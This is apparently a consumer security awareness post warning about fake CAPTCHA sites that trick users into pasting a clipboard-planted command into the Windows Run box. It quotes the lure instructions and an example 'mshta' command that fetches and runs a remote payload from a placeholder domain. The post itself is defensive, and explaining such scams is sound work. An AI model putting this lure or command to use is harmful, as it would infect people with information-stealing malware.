Fake CAPTCHA Websites

A new and increasingly sophisticated scam is tricking users into infecting their own computers with information-stealing malware. Cybercriminals are using fake CAPTCHA verification websites that cleverly hijack your clipboard and instruct you to run malicious commands yourself.
​

This isn't just a targeted attack against specific companies anymore. It's a widespread threat that anyone can encounter. The scam typically begins on websites offering free content like movies, music, or news articles. These sites use the familiar CAPTCHA verification to gain your trust.

The Deceptive CAPTCHA:
After checking the "I'm not a robot" box, you're presented with instructions that seem harmless:
"To better prove you are not a robot, please:

1. Press & hold the Windows Key + R.
2. In the verification window, press Ctrl + V.
3. Press Enter on your keyboard to finish.
4. You will observe and agree: 'I’m not a robot – reCAPTCHA Verification ID: 8253'
5. Perform the steps above to finish verification."

However, these instructions lead to self-infection. The website secretly copies a malicious command to your clipboard. When you paste and execute it, you're running malware.

The Tech stuff: 
The Malicious Command: The command, often obfuscated, typically looks like this:
mshta https://{malicious.domain}/media.file
mshta.exe is a legitimate Windows tool, but the command uses it to download and run a malicious file from the specified domain. The file, disguised as a media file (mp3, mp4, jpg, etc.), is actually an encoded PowerShell script that downloads the actual malware payload.

The Payload:
The malware being distributed is often an information stealer, such as Lumma Stealer or SecTopRAT, designed to steal sensitive data from your computer.

How to Protect Yourself:

• Be Skeptical: Never blindly follow instructions from unfamiliar websites.
• Use Anti-Malware: Employ an active anti-malware solution that blocks malicious websites and scripts.
• Browser Extensions: Install browser extensions that block malicious domains and scams.
• Use Separate Browsers: Consider using different browsers for trusted and untrusted websites.

Stay Vigilant:
This fake CAPTCHA scam highlights the evolving tactics of cybercriminals. By staying informed and following these safety tips, you can protect yourself from falling victim to these insidious attacks.

Ep320 - Image is by MITE Radio (screenshot)